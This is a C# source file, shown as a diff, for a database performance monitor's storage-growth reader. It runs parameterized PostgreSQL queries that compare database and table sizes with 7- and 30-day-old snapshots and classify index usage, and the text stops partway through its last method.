+namespace PerformanceMonitor.Darling.Storage.FinOps;
+
+/// <summary>One database's size now against 7 and 30 days ago. The past sizes, growth, daily rate and percent are
+/// null when the database has no past snapshot to compare with, never 0.</summary>
+public sealed record StorageGrowthDto(
+    string DatabaseName, decimal CurrentSizeMb, decimal? Size7dAgoMb, decimal? Size30dAgoMb, decimal? Growth7dMb,
+    decimal? Growth30dMb, decimal? DailyGrowthRateMb, decimal? GrowthPct30d, bool HasSiblingRow, bool HasLogServiceFile);
+
+/// <summary>One table in the ranked object-growth summary. The growth figures are null when the database has only one
+/// snapshot in the window, so there is nothing to compare with. A table missing from the earliest snapshot was created
+/// since, and counts its whole current size as growth (its percent stays null, because it grew from nothing).</summary>
+public sealed record ObjectSizeGrowthDto(
+    string SchemaName, string TableName, decimal CurrentReservedMb, decimal CurrentUsedMb, long TotalRows, int IndexCount,
+    decimal? Growth30dMb, decimal? DailyGrowthRateMb, decimal? GrowthPct30d);
+
+/// <summary>One index of one table at its database's latest snapshot. <see cref="LastUserAccess"/> is the monitored
+/// server's own wall clock, read verbatim. <see cref="CollectionTime"/> is the snapshot's own stamp, naive UTC: the
+/// anchor the read resolved on, projected on the row statement so it names the instant the rows came from.</summary>
+public sealed record IndexUsageDto(
+    string DatabaseName, string SchemaName, string TableName, string IndexName, string IndexTypeDesc, int IndexId,
+    decimal ReservedMb, long TotalRows, long UserSeeks, long UserScans, long UserLookups, long TotalReads, long UserUpdates,
+    DateTime? LastUserAccess, string Classification, DateTime CollectionTime);
+
+/// <summary>
+/// The FinOps Storage Growth reads and the database-size snapshot probes they share with the viewer's database-size
+/// reads. The viewer and the Darling service read through the same copy. Every method takes the clock reading the
+/// caller computed, so the clock is read where the caller reads it.
+/// </summary>
+public static class DarlingFinOpsStorageGrowthReader
+{
+    /// <summary>The newest <c>database_size_stats</c> snapshot at or before <paramref name="asOf"/> for one
+    /// server (#4245). A windowed probe first, with <c>collection_time</c> bound between <paramref name="asOf"/>
+    /// minus two days and <paramref name="asOf"/>, letting the planner exclude every chunk outside that
+    /// span before it builds a subplan for it. It falls back to an unbounded "at or before" probe only when
+    /// the window is empty, which a windowed probe cannot itself tell from "never collected": a server whose
+    /// collection stopped more than two days before <paramref name="asOf"/>. The two-day width is generous
+    /// headroom over the roughly hourly cadence of <c>database_size_stats</c>, enough to absorb a missed cycle
+    /// or two, while still excluding nearly all of a retention that runs to 70+ daily chunks in the field.
+    ///
+    /// <para>Correctness: the windowed probe's MAX, when it finds any row, IS the true unbounded MAX, because no row
+    /// outside a "collection_time &gt;= cutoff" window can be newer than a row inside it. So the fallback only
+    /// ever fires when the window is genuinely empty, never as an approximation. Returns null when there is no
+    /// row at or before <paramref name="asOf"/> at all.</para>
+    /// </summary>
+    public static async Task<DateTime?> GetDatabaseSizeSnapshotAtOrBeforeAsync(
+        NpgsqlDataSource dataSource, int serverId, DateTime asOf, int commandTimeoutSeconds, CancellationToken cancellationToken)
+    {
+        var asOfBound = DateTime.SpecifyKind(asOf, DateTimeKind.Unspecified);
+        var windowStart = DateTime.SpecifyKind(asOf.AddDays(-2), DateTimeKind.Unspecified);
+
+        await using (var probe = dataSource.CreateCommand(DatabaseSizeSnapshotWindowedProbeSql))
+        {
+            probe.CommandTimeout = commandTimeoutSeconds;
+            probe.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
+            probe.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = windowStart });
+            probe.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = asOfBound });
+            var windowed = await probe.ExecuteScalarAsync(cancellationToken);
+            if (windowed is DateTime windowedStamp)
+            {
+                return windowedStamp;
+            }
+        }
+
+        await using var fallback = dataSource.CreateCommand(DatabaseSizeSnapshotFallbackProbeSql);
+        fallback.CommandTimeout = commandTimeoutSeconds;
+        fallback.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
+        fallback.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = asOfBound });
+        var unbounded = await fallback.ExecuteScalarAsync(cancellationToken);
+        return unbounded is DateTime unboundedStamp ? unboundedStamp : null;
+    }
+
+    /// <summary>The words for a blank baseline cell (shown as n/a): no snapshot within a day of <paramref name="days"/> days ago. Null when there is a baseline.</summary>
+    public static string? NoBaselineNote(int days, decimal? baselineSizeMb) =>
+        baselineSizeMb == null ? $"No sample from {days} days ago" : null;
+
+    /// <summary>The note for a database row's blank baselines: "No sample from 7 days ago", "No sample from 30 days ago", both joined by a semicolon, or null when both exist.</summary>
+    public static string? BaselineNote(decimal? size7dAgoMb, decimal? size30dAgoMb)
+    {
+        var parts = new[] { NoBaselineNote(7, size7dAgoMb), NoBaselineNote(30, size30dAgoMb) }.Where(n => n != null);
+        var joined = string.Join("; ", parts);
+        return joined.Length == 0 ? null : joined;
+    }
+
+    /// <summary>How far from its mark (7 or 30 days ago) a baseline snapshot may be: one day either side. Beyond that the baseline
+    /// is not "N days ago" and the grid says there is no sample from that long ago.</summary>
+    public static readonly TimeSpan BaselineTolerance = TimeSpan.FromDays(1);
+
+    /// <summary>
+    /// The snapshot NEAREST <paramref name="mark"/> (7 or 30 days before now), only when it is within <see cref="BaselineTolerance"/>
+    /// of the mark and strictly older than <paramref name="latestSnapshot"/>; otherwise null. The older shape took the newest snapshot
+    /// at or before the mark, however far before: a store with 25 days of history then called its 25-day-old sample "30d ago" and
+    /// measured Growth % and the daily rate against it, and a store with a gap labeled whatever sample the gap left as the 7-day
+    /// baseline. With no snapshot near the mark the baseline is null, and the grid shows n/a with "No sample from N days ago".
+    /// </summary>
+    public static async Task<DateTime?> GetDatabaseSizeSnapshotNearestAsync(
+        NpgsqlDataSource dataSource, int serverId, DateTime mark, DateTime latestSnapshot, int commandTimeoutSeconds, CancellationToken cancellationToken)
+    {
+        await using var command = dataSource.CreateCommand(DatabaseSizeSnapshotNearestSql);
+        command.CommandTimeout = commandTimeoutSeconds;
+        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
+        command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = DateTime.SpecifyKind(mark, DateTimeKind.Unspecified) });
+        command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = DateTime.SpecifyKind(latestSnapshot, DateTimeKind.Unspecified) });
+        command.Parameters.Add(new NpgsqlParameter<double> { TypedValue = BaselineTolerance.TotalSeconds });
+        return await command.ExecuteScalarAsync(cancellationToken) is DateTime nearest ? nearest : null;
+    }
+
+    /// <summary>The nearest-to-the-mark baseline probe. $1 server_id, $2 the mark, $3 the latest snapshot (the baseline must be strictly
+    /// older), $4 the tolerance in seconds. The two bounds on <c>collection_time</c> let the planner exclude every chunk outside the
+    /// tolerance window before it builds a subplan.</summary>
+    public const string DatabaseSizeSnapshotNearestSql = @"
+SELECT t
+FROM (
+    SELECT DISTINCT collection_time AS t
+    FROM v_database_size_stats
+    WHERE server_id = $1
+    AND   collection_time >= $2::timestamp - make_interval(secs => $4)
+    AND   collection_time <= $2::timestamp + make_interval(secs => $4)
+    AND   collection_time < $3
+) AS candidates
+ORDER BY abs(EXTRACT(EPOCH FROM (t - $2::timestamp))), t DESC
+LIMIT 1";
+
+    /// <summary>The windowed half of <see cref="GetDatabaseSizeSnapshotAtOrBeforeAsync"/>. $1 server_id,
+    /// $2 window start, $3 asOf.</summary>
+    public const string DatabaseSizeSnapshotWindowedProbeSql = @"
+SELECT MAX(collection_time)
+FROM v_database_size_stats
+WHERE server_id = $1
+AND   collection_time >= $2
+AND   collection_time <= $3";
+
+    /// <summary>The unbounded fallback half of <see cref="GetDatabaseSizeSnapshotAtOrBeforeAsync"/>, reached
+    /// only when the windowed probe finds nothing. $1 server_id, $2 asOf.</summary>
+    public const string DatabaseSizeSnapshotFallbackProbeSql = @"
+SELECT MAX(collection_time)
+FROM v_database_size_stats
+WHERE server_id = $1
+AND   collection_time <= $2";
+
+
+    /// <summary>The newest <c>database_size_stats</c> snapshot for one server, full stop, with no upper bound
+    /// (#4245 follow-up). A windowed probe first (<c>collection_time &gt;= now minus two days</c>), letting
+    /// the planner exclude every chunk outside that span before it builds a subplan for it. It falls back to
+    /// a fully unbounded probe only when the window is empty (a server whose collection stopped more than two
+    /// days ago). <b>Unlike <see cref="GetDatabaseSizeSnapshotAtOrBeforeAsync"/>, neither probe here bounds
+    /// above by <c>DateTime.UtcNow</c>.</b> The reader's clock and the collector host's clock are not
+    /// the same clock; a snapshot the collector stamped a few minutes ahead of the reader's "now" is still the
+    /// latest snapshot that exists, and an upper bound at "now" would silently skip it. The windowed
+    /// replacement must not introduce that failure mode. Correctness: the windowed probe's MAX, when it finds any
+    /// row, IS the true unbounded MAX, because no row older than the window can be newer than a row inside it, so
+    /// the fallback only ever fires when the window is genuinely empty. Null when the server has no
+    /// database-size history at all.</summary>
+    public static async Task<DateTime?> GetLatestDatabaseSizeSnapshotAsync(
+        NpgsqlDataSource dataSource, int serverId, int commandTimeoutSeconds, CancellationToken cancellationToken)
+    {
+        var windowStart = DateTime.SpecifyKind(DateTime.UtcNow.AddDays(-2), DateTimeKind.Unspecified);
+
+        await using (var probe = dataSource.CreateCommand(DatabaseSizeLatestSnapshotWindowedProbeSql))
+        {
+            probe.CommandTimeout = commandTimeoutSeconds;
+            probe.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
+            probe.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = windowStart });
+            var windowed = await probe.ExecuteScalarAsync(cancellationToken);
+            if (windowed is DateTime windowedStamp)
+            {
+                return windowedStamp;
+            }
+        }
+
+        await using var fallback = dataSource.CreateCommand(DatabaseSizeLatestSnapshotFallbackProbeSql);
+        fallback.CommandTimeout = commandTimeoutSeconds;
+        fallback.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
+        var unbounded = await fallback.ExecuteScalarAsync(cancellationToken);
+        return unbounded is DateTime unboundedStamp ? unboundedStamp : null;
+    }
+
+    /// <summary>Binds a nullable snapshot time: SQL NULL when there is none, which every caller here uses to
+    /// mean "no snapshot in range" (an equality against NULL matches no row, same as the old correlated
+    /// subquery returning no row).</summary>
+    private static NpgsqlParameter TimestampOrNull(DateTime? value) =>
+        new() { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = value.HasValue ? DateTime.SpecifyKind(value.Value, DateTimeKind.Unspecified) : DBNull.Value };
+
+    /// <summary>The windowed half of <see cref="GetLatestDatabaseSizeSnapshotAsync"/>. $1 server_id, $2 window
+    /// start. No upper bound — see the method doc for why a latest read must not have one.</summary>
+    public const string DatabaseSizeLatestSnapshotWindowedProbeSql = @"
+SELECT MAX(collection_time)
+FROM v_database_size_stats
+WHERE server_id = $1
+AND   collection_time >= $2";
+
+    /// <summary>The fully unbounded fallback half of <see cref="GetLatestDatabaseSizeSnapshotAsync"/>, reached
+    /// only when the windowed probe finds nothing. $1 server_id. No <c>asOf</c> bound at all: this IS the old
+    /// pre-#4245 statement's semantics (an unqualified <c>MAX(collection_time)</c>), reached only for the rare
+    /// stale-or-empty-server case.</summary>
+    public const string DatabaseSizeLatestSnapshotFallbackProbeSql = @"
+SELECT MAX(collection_time)
+FROM v_database_size_stats
+WHERE server_id = $1";
+
+
+    /// <summary>Per-database storage growth vs 7d/30d ago (Storage Growth parent grid). #4245: all three
+    /// snapshot times are resolved before this runs — the <c>latest</c> CTE's from the unbounded
+    /// <see cref="GetLatestDatabaseSizeSnapshotAsync"/>, <c>past_7d</c>/<c>past_30d</c>'s from the upper-bounded
+    /// <see cref="GetDatabaseSizeSnapshotAtOrBeforeAsync"/> (their cutoff IS a past "at or before" point, so
+    /// they keep the upper bound the latest read must not have) — so this statement only ever binds three
+    /// literal <c>collection_time</c> values (never a bound-free chunk scan). A cutoff with no
+    /// qualifying snapshot (a database younger than 7 or 30 days) binds SQL NULL, which the CTE's equality
+    /// turns into zero rows — the LEFT JOIN below already treats that as "no prior snapshot", unchanged from
+    /// before this fix. $1 server_id, $2 latest collection_time, $3 collection_time at or before 7d ago,
+    /// $4 collection_time at or before 30d ago (either of the last two may be null).
+    ///
+    /// <para>A file whose row in the latest snapshot has no size is left out of all three sums, by one predicate
+    /// (the <c>NOT EXISTS</c> against <c>log_service_files</c>) repeated in each. That file is the log of an Azure
+    /// SQL Database Hyperscale database (<see cref="HyperscaleLogSize"/>). Its older rows can still hold the ~1 TB
+    /// that sys.database_files reported before the collector stored NULL for it, and summing them on the past side
+    /// alone read as a -99% drop. The rule is applied at read time, so it covers history collected before the
+    /// change without rewriting it. On the latest side it drops only the rows SUM already skips. A file that is
+    /// gone from the latest snapshot has no row there, so it still counts on the past side, as shrinkage.
+    /// <c>log_service_files</c> binds the same literal <c>$2</c> as the latest CTE, so the #4245 plan shape
+    /// holds. Lite's <c>LocalDataService.StorageGrowthSql</c> is the twin.</para>
+    ///
+    /// <para>A row stored before the allocated/used fix for another database on an Azure SQL Database server holds that
+    /// database's USED space as its total, where every later row holds the ALLOCATED size
+    /// (<see cref="AzureSiblingDatabaseSize"/>).</para>
+    ///
+    /// <para>#5498: a row named "(whole database)" for another database on an Azure SQL Database server is history from
+    /// before the collector read each user database on its own connection: it holds data space only, and the newest
+    /// snapshot of that database now holds its data and log files. The 7-day and 30-day sums leave EVERY such row out
+    /// (<c>ExcludeAllSiblingRows</c>), so the log does not read as growth. The latest sum leaves out only the old shape
+    /// that holds no used space (<c>ExcludePreFixRows</c>), so a snapshot taken before the upgrade still lists the
+    /// database. A database with no comparable older row shows a blank past size and growth n/a (null), as a database
+    /// added inside the window does, until a newer sample is old enough to compare against.</para>
+    ///
+    /// <para>The <c>latest</c> CTE also flags each database whose size leaves its log out: <c>has_sibling_row</c> is true
+    /// when the database has the one row another database on an Azure SQL Database server gets
+    /// (<see cref="AzureSiblingDatabaseSize.RowPredicate"/>, so its size is data space only), and
+    /// <c>has_log_service_file</c> is true when it has a row in <c>log_service_files</c> (the Hyperscale log, which the
+    /// sums skip). The second reads the same <c>$2</c> snapshot as the CTE it joins, so the #4245 plan shape holds. The
+    /// row's <c>Note</c> says which. Lite's <c>LocalDataService.StorageGrowthSql</c> is the twin.</para></summary>
+    public const string StorageGrowthSql = @"
+WITH log_service_files AS (
+    SELECT
+        database_name,
+        file_id
+    FROM v_database_size_stats
+    WHERE server_id = $1
+    AND   collection_time = $2
+    AND   total_size_mb IS NULL
+),
+latest AS (
+    SELECT
+        s.database_name,
+        SUM(s.total_size_mb) AS current_size_mb,
+        bool_or(" + AzureSiblingDatabaseSize.RowPredicate + @") AS has_sibling_row,
+        EXISTS (
+            SELECT 1
+            FROM log_service_files AS ls
+            WHERE ls.database_name = s.database_name
+        ) AS has_log_service_file
+    FROM v_database_size_stats AS s
+    WHERE s.server_id = $1
+    AND   s.collection_time = $2
+    AND   NOT EXISTS (
+        SELECT 1
+        FROM log_service_files AS ls
+        WHERE ls.database_name = s.database_name
+        AND   ls.file_id = s.file_id
+    )
+    AND   " + AzureSiblingDatabaseSize.ExcludePreFixRows + @"
+    GROUP BY s.database_name
+),
+past_7d AS (
+    SELECT
+        s.database_name,
+        SUM(s.total_size_mb) AS size_mb
+    FROM v_database_size_stats AS s
+    WHERE s.server_id = $1
+    AND   s.collection_time = $3
+    AND   NOT EXISTS (
+        SELECT 1
+        FROM log_service_files AS ls
+        WHERE ls.database_name = s.database_name
+        AND   ls.file_id = s.file_id
+    )
+    AND   " + AzureSiblingDatabaseSize.ExcludeAllSiblingRows + @"
+    GROUP BY s.database_name
+),
+past_30d AS (
+    SELECT
+        s.database_name,
+        SUM(s.total_size_mb) AS size_mb
+    FROM v_database_size_stats AS s
+    WHERE s.server_id = $1
+    AND   s.collection_time = $4
+    AND   NOT EXISTS (
+        SELECT 1
+        FROM log_service_files AS ls
+        WHERE ls.database_name = s.database_name
+        AND   ls.file_id = s.file_id
+    )
+    AND   " + AzureSiblingDatabaseSize.ExcludeAllSiblingRows + @"
+    GROUP BY s.database_name
+)
+SELECT
+    l.database_name,
+    l.current_size_mb,
+    p7.size_mb,
+    p30.size_mb,
+    l.current_size_mb - p7.size_mb AS growth_7d_mb,
+    l.current_size_mb - p30.size_mb AS growth_30d_mb,
+    CASE
+        WHEN p30.size_mb IS NOT NULL
+        THEN (l.current_size_mb - p30.size_mb) / NULLIF(EXTRACT(EPOCH FROM ($2::timestamp - $4::timestamp)) / 86400.0, 0)
+        WHEN p7.size_mb IS NOT NULL
+        THEN (l.current_size_mb - p7.size_mb) / NULLIF(EXTRACT(EPOCH FROM ($2::timestamp - $3::timestamp)) / 86400.0, 0)
+        ELSE NULL
+    END AS daily_growth_rate_mb,
+    CASE
+        WHEN p30.size_mb IS NOT NULL AND p30.size_mb > 0
+        THEN (l.current_size_mb - p30.size_mb) * 100.0 / p30.size_mb
+        ELSE NULL
+    END AS growth_pct_30d,
+    l.has_sibling_row,
+    l.has_log_service_file
+FROM latest l
+LEFT JOIN past_7d p7 ON p7.database_name = l.database_name
+LEFT JOIN past_30d p30 ON p30.database_name = l.database_name
+ORDER BY growth_30d_mb DESC NULLS LAST, growth_7d_mb DESC NULLS LAST, l.database_name";
+
+    public static async Task<List<StorageGrowthDto>> GetStorageGrowthAsync(
+        NpgsqlDataSource dataSource, int serverId, DateTime nowUtc, int commandTimeoutSeconds, CancellationToken cancellationToken)
+    {
+        var items = new List<StorageGrowthDto>();
+        var now = nowUtc;
+
+        var latestSnapshot = await GetLatestDatabaseSizeSnapshotAsync(dataSource, serverId, commandTimeoutSeconds, cancellationToken);
+        if (latestSnapshot is null)
+        {
+            return items;
+        }
+
+        /* Each baseline is the snapshot nearest its mark and within a day of it, and strictly older than the latest one (the probe
+           bounds it): comparing the latest snapshot with itself would read as growth 0 over zero days. With none that near, the
+           baseline is null (n/a, "No sample from N days ago"). */
+        var past7Snapshot = await GetDatabaseSizeSnapshotNearestAsync(dataSource, serverId, now.AddDays(-7), latestSnapshot.Value, commandTimeoutSeconds, cancellationToken);
+        var past30Snapshot = await GetDatabaseSizeSnapshotNearestAsync(dataSource, serverId, now.AddDays(-30), latestSnapshot.Value, commandTimeoutSeconds, cancellationToken);
+
+        await using var command = dataSource.CreateCommand(StorageGrowthSql);
+        command.CommandTimeout = commandTimeoutSeconds;
+        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
+        command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = latestSnapshot.Value });
+        command.Parameters.Add(TimestampOrNull(past7Snapshot));
+        command.Parameters.Add(TimestampOrNull(past30Snapshot));
+
+        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+        while (await reader.ReadAsync(cancellationToken))
+        {
+            items.Add(new StorageGrowthDto(
+                DatabaseName: reader.IsDBNull(0) ? "" : reader.GetString(0),
+                CurrentSizeMb: reader.IsDBNull(1) ? 0m : Convert.ToDecimal(reader.GetValue(1)),
+                Size7dAgoMb: reader.IsDBNull(2) ? null : Convert.ToDecimal(reader.GetValue(2)),
+                Size30dAgoMb: reader.IsDBNull(3) ? null : Convert.ToDecimal(reader.GetValue(3)),
+                Growth7dMb: reader.IsDBNull(4) ? null : Convert.ToDecimal(reader.GetValue(4)),
+                Growth30dMb: reader.IsDBNull(5) ? null : Convert.ToDecimal(reader.GetValue(5)),
+                DailyGrowthRateMb: reader.IsDBNull(6) ? null : Convert.ToDecimal(reader.GetValue(6)),
+                GrowthPct30d: reader.IsDBNull(7) ? null : Convert.ToDecimal(reader.GetValue(7)),
+                HasSiblingRow: !reader.IsDBNull(8) && reader.GetBoolean(8),
+                HasLogServiceFile: !reader.IsDBNull(9) && reader.GetBoolean(9)));
+        }
+        return items;
+    }
+
+    /// <summary>
+    /// The latest/earliest collection_time in the window, for a server+database — computed ONCE (#4227) and
+    /// passed as exact instants to both <see cref="ObjectGrowthSummarySql"/> and <see cref="ObjectGrowthSeriesSql"/>,
+    /// which used to each recompute this same MAX/MIN(collection_time) as their own <c>bounds</c> CTE (89ms and
+    /// 21.3k buffers apiece on a seeded store, with no index leading (server_id, collection_time)). $1 server_id,
+    /// $2 database, $3 window start. NULL/NULL when nothing in v_index_object_stats matches (collection hasn't
+    /// started, or stopped before the window) — the caller short-circuits to empty rather than passing NULL
+    /// instants down.
+    /// </summary>
+    public const string ObjectGrowthBoundsSql = @"
+SELECT MAX(collection_time) AS latest_time, MIN(collection_time) AS earliest_time
+FROM v_index_object_stats
+WHERE server_id = $1 AND database_name = $2 AND collection_time >= $3";
+
+    /// <summary>Ranked top-N object growth summary for the object drill (#1138 §3A). $1 server_id, $2 database, $3 latest instant, $4 earliest instant, $5 topN — the two instants come from <see cref="ObjectGrowthBoundsSql"/>.</summary>
+    public const string ObjectGrowthSummarySql = @"
+WITH latest AS (
+    SELECT schema_name, table_name,
+        SUM(reserved_mb) AS cur_reserved_mb,
+        SUM(used_mb) AS cur_used_mb,
+        MAX(total_rows) AS cur_rows,
+        COUNT(*) AS index_count
+    FROM v_index_object_stats
+    WHERE server_id = $1 AND database_name = $2 AND collection_time = $3
+    GROUP BY schema_name, table_name
+),
+earliest AS (
+    SELECT schema_name, table_name, SUM(reserved_mb) AS e_reserved_mb
+    FROM v_index_object_stats
+    WHERE server_id = $1 AND database_name = $2 AND collection_time = $4
+    GROUP BY schema_name, table_name
+)
+SELECT
+    l.schema_name,
+    l.table_name,
+    l.cur_reserved_mb,
+    l.cur_used_mb,
+    l.cur_rows,
+    l.index_count,
+    l.cur_reserved_mb - COALESCE(e.e_reserved_mb, 0) AS growth_mb
+FROM latest l
+LEFT JOIN earliest e ON e.schema_name = l.schema_name AND e.table_name = l.table_name
+ORDER BY growth_mb DESC NULLS LAST, l.schema_name, l.table_name
+LIMIT $5";
+
+    /// <summary>Daily reserved-MB series for the ranked top-N objects (heatmap). $1 server_id, $2 database, $3 window start, $4 latest instant, $5 earliest instant, $6 topN — the two instants come from <see cref="ObjectGrowthBoundsSql"/>.</summary>
+    public const string ObjectGrowthSeriesSql = @"
+WITH latest AS (
+    SELECT schema_name, table_name, SUM(reserved_mb) AS cur_reserved_mb
+    FROM v_index_object_stats
+    WHERE server_id = $1 AND database_name = $2 AND collection_time = $4
+    GROUP BY schema_name, table_name
+),
+earliest AS (
+    SELECT schema_name, table_name, SUM(reserved_mb) AS e_reserved_mb
+    FROM v_index_object_stats
+    WHERE server_id = $1 AND database_name = $2 AND collection_time = $5
+    GROUP BY schema_name, table_name
+),
+ranked AS (
+    SELECT l.schema_name, l.table_name,
+        l.cur_reserved_mb - COALESCE(e.e_reserved_mb, 0) AS growth_mb
+    FROM latest l
+    LEFT JOIN earliest e ON e.schema_name = l.schema_name AND e.table_name = l.table_name
+    ORDER BY growth_mb DESC NULLS LAST, l.schema_name, l.table_name
+    LIMIT $6
+)
+SELECT
+    ios.schema_name,
+    ios.table_name,
+    date_trunc('day', ios.collection_time) AS the_day,
+    SUM(ios.reserved_mb) AS reserved_mb
+FROM v_index_object_stats ios
+JOIN ranked r ON r.schema_name = ios.schema_name AND r.table_name = ios.table_name
+WHERE ios.server_id = $1 AND ios.database_name = $2 AND ios.collection_time >= $3
+GROUP BY ios.schema_name, ios.table_name, date_trunc('day', ios.collection_time)
+ORDER BY ios.schema_name, ios.table_name, the_day";
+
+    /// <summary>
+    /// Object-growth heatmap data for a single database (#1138 §3A): the ranked top-N summary rows and the
+    /// long-form daily reserved-MB samples (pivoted to a matrix by FinOpsHeatmapBuilder). Two pooled
+    /// commands (mirrors Lite's two-command split for DuckDB's one-result-set-per-command limit).
+    /// <paramref name="windowStart"/> is the naive-UTC window start the caller computed from <paramref name="daysBack"/>.
+    /// </summary>
+    public static async Task<(List<ObjectSizeGrowthDto> Objects, List<FinOpsObjectDaySample> Samples)> GetObjectGrowthHeatmapDataAsync(
+        NpgsqlDataSource dataSource, int serverId, string databaseName, DateTime windowStart, int daysBack, int topN,
+        int commandTimeoutSeconds, CancellationToken cancellationToken)
+    {
+        var objects = new List<ObjectSizeGrowthDto>();
+        var samples = new List<FinOpsObjectDaySample>();
+
+        /* #4227: bounds computed once, then handed to both statements below as exact instants instead of
+           each re-deriving them via its own `bounds` CTE. */
+        DateTime? latestTime;
+        DateTime? earliestTime;
+
+        await using (var boundsCommand = dataSource.CreateCommand(ObjectGrowthBoundsSql))
+        {
+            boundsCommand.CommandTimeout = commandTimeoutSeconds;
+            boundsCommand.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
+            boundsCommand.Parameters.Add(new NpgsqlParameter<string> { TypedValue = databaseName });
+            boundsCommand.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = windowStart });
+
+            await using var reader = await boundsCommand.ExecuteReaderAsync(cancellationToken);
+            await reader.ReadAsync(cancellationToken); /* MAX/MIN with no GROUP BY always returns one row. */
+            latestTime = reader.IsDBNull(0) ? null : reader.GetDateTime(0);
+            earliestTime = reader.IsDBNull(1) ? null : reader.GetDateTime(1);
+        }
+
+        /* No v_index_object_stats row in the window (collection hasn't started, or stopped before the window
+           started) — both old statements' `collection_time = (SELECT ... FROM bounds)` matched nothing in
+           that case, so this is the same empty result without issuing either statement. */
+        if (latestTime is not DateTime latest || earliestTime is not DateTime earliest)
+        {
+            return (objects, samples);
+        }
+
+        await using (var command = dataSource.CreateCommand(ObjectGrowthSummarySql))
+        {
+            command.CommandTimeout = commandTimeoutSeconds;
+            command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
+            command.Parameters.Add(new NpgsqlParameter<string> { TypedValue = databaseName });
+            command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = latest });
+            command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = earliest });
+            command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = topN });
+
+            await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+            while (await reader.ReadAsync(cancellationToken))
+            {
+                var current = reader.IsDBNull(2) ? 0m : Convert.ToDecimal(reader.GetValue(2));
+                /* One snapshot only: null, not 0. A table missing from the earliest snapshot was created since and counts its whole size (its percent stays null: it grew from nothing); an existing table whose earliest size is NULL also counts its whole current size, because COALESCE treats it like a new table, and that is rare. */
+                decimal? growth = reader.IsDBNull(6) || latest == earliest ? null : Convert.ToDecimal(reader.GetValue(6));
+                objects.Add(new ObjectSizeGrowthDto(
+                    SchemaName: reader.IsDBNull(0) ? "" : reader.GetString(0),
+                    TableName: reader.IsDBNull(1) ? "" : reader.GetString(1),
+                    CurrentReservedMb: current,
+                    CurrentUsedMb: reader.IsDBNull(3) ? 0m : Convert.ToDecimal(reader.GetValue(3)),
+                    TotalRows: reader.IsDBNull(4) ? 0L : Convert.ToInt64(reader.GetValue(4)),
+                    IndexCount: reader.IsDBNull(5) ? 0 : Convert.ToInt32(reader.GetValue(5)),
+                    Growth30dMb: growth,
+                    DailyGrowthRateMb: growth is decimal g && daysBack > 0 ? g / daysBack : null,
+                    GrowthPct30d: growth is decimal g2 && current - g2 > 0 ? g2 * 100m / (current - g2) : null));
+            }
+        }
+
+        await using (var command = dataSource.CreateCommand(ObjectGrowthSeriesSql))
+        {
+            command.CommandTimeout = commandTimeoutSeconds;
+            command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
+            command.Parameters.Add(new NpgsqlParameter<string> { TypedValue = databaseName });
+            command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = windowStart });
+            command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = latest });
+            command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = earliest });
+            command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = topN });
+
+            await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+            while (await reader.ReadAsync(cancellationToken))
+            {
+                var schema = reader.IsDBNull(0) ? "" : reader.GetString(0);
+                var table = reader.IsDBNull(1) ? "" : reader.GetString(1);
+                var day = reader.IsDBNull(2) ? DateTime.MinValue : reader.GetDateTime(2);
+                var reservedMb = reader.IsDBNull(3) ? 0d : Convert.ToDouble(reader.GetValue(3));
+                samples.Add(new FinOpsObjectDaySample($"{schema}.{table}", day, reservedMb));
+            }
+        }
+
+        return (objects, samples);
+    }
+
+    /// <summary>Per-index size + usage for one object at its database's latest snapshot (Storage Growth index drill).</summary>
+    public const string ObjectIndexDetailSql = @"
+SELECT
+    database_name,
+    schema_name,
+    table_name,
+    index_name,
+    index_type_desc,
+    index_id,
+    reserved_mb,
+    total_rows,
+    COALESCE(user_seeks, 0) AS user_seeks,
+    COALESCE(user_scans, 0) AS user_scans,
+    COALESCE(user_lookups, 0) AS user_lookups,
+    COALESCE(user_seeks, 0) + COALESCE(user_scans, 0) + COALESCE(user_lookups, 0) AS total_reads,
+    COALESCE(user_updates, 0) AS user_updates,
+    GREATEST(last_user_seek, last_user_scan, last_user_lookup, last_user_update) AS last_user_access,
+    CASE
+        WHEN COALESCE(user_seeks, 0) + COALESCE(user_scans, 0) + COALESCE(user_lookups, 0) = 0
+             AND COALESCE(user_updates, 0) = 0 THEN 'Unused'
+        WHEN COALESCE(user_seeks, 0) + COALESCE(user_scans, 0) + COALESCE(user_lookups, 0) = 0
+             AND COALESCE(user_updates, 0) > 0 THEN 'Write-only'
+        ELSE 'Active'
+    END AS classification,
+    collection_time
+FROM v_index_object_stats
+WHERE server_id = $1
+AND   database_name = $2
+AND   schema_name = $3
+AND   table_name = $4
+AND   collection_time = (
+    SELECT MAX(collection_time) FROM v_index_object_stats WHERE server_id = $1 AND database_name = $2)
+ORDER BY index_id";
+
+    public static async Task<List<IndexUsageDto>> GetObjectIndexDetailAsync(
+        NpgsqlDataSource dataSource, int serverId, string databaseName, string schemaName, string tableName,
+        int commandTimeoutSeconds, CancellationToken cancellationToken)
+    {
+        await using var command = dataSource.CreateCommand(ObjectIndexDetailSql);
